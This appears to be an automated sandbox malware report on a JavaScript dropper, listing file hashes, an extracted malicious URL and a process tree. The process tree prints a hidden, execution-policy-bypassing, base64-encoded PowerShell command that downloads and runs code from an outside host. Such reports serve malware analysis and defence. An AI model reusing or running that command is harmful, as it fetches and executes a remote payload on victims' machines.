Overview

overview

10

Static

static

1

366efb6afd...c29.js

windows7-x64

10

366efb6afd...c29.js

windows10-2004-x64

10

Analysis

  • max time kernel
    0s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/12/2023, 12:38

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General

  • Target

    366efb6afd5914b956a2b2ddf74c9c29.js

  • Size

    1.3MB

  • MD5

    366efb6afd5914b956a2b2ddf74c9c29

  • SHA1

    5888e0b9304061139b02a50f14a88ff52dc74b5e

  • SHA256

    9545fd08db522517c546140b301ceb7c0d882c27f5637b6ea9f9943c3430e54d

  • SHA512

    bfd88ab74c5d6d8045a0b87818e34267db66b14dded2da7b3c91f80352ba5ad082d2e0339799880cf1514877a1a6e24eb0163fe36e20e163e720e9bffaee434d

  • SSDEEP

    24576:BgyXk6QFMvDB1OuQKB3HY3XSTGdzA6OYnuN9pi5xOoU1H1eTdAqv:ZXku2VyME6OGmpkAxH1ehAqv

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://officialbirulaut.com/deliveryagent.php

Signatures

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\366efb6afd5914b956a2b2ddf74c9c29.js
    1⤵
      PID:4964
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbwBmAGYAaQBjAGkAYQBsAGIAaQByAHUAbABhAHUAdAAuAGMAbwBtAC8AZABlAGwAaQB2AGUAcgB5AGEAZwBlAG4AdAAuAHAAaABwACIAKQA=
        2⤵
          PID:4656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbwBmAGYAaQBjAGkAYQBsAGIAaQByAHUAbABhAHUAdAAuAGMAbwBtAC8AZABlAGwAaQB2AGUAcgB5AGEAZwBlAG4AdAAuAHAAaABwACIAKQA=
        1⤵
          PID:1632

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfyqkcck.hb4.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • memory/1632-11-0x00007FF89CA80000-0x00007FF89D541000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/1632-13-0x000001DEA3440000-0x000001DEA3450000-memory.dmp

          Filesize

          64KB

          Download

        • memory/1632-12-0x000001DEA3440000-0x000001DEA3450000-memory.dmp

          Filesize

          64KB

          Download

        • memory/1632-10-0x000001DEBDCB0000-0x000001DEBDCD2000-memory.dmp

          Filesize

          136KB

          Download

        • memory/1632-17-0x00007FF89CA80000-0x00007FF89D541000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/1632-16-0x000001DEA3440000-0x000001DEA3450000-memory.dmp

          Filesize

          64KB

          Download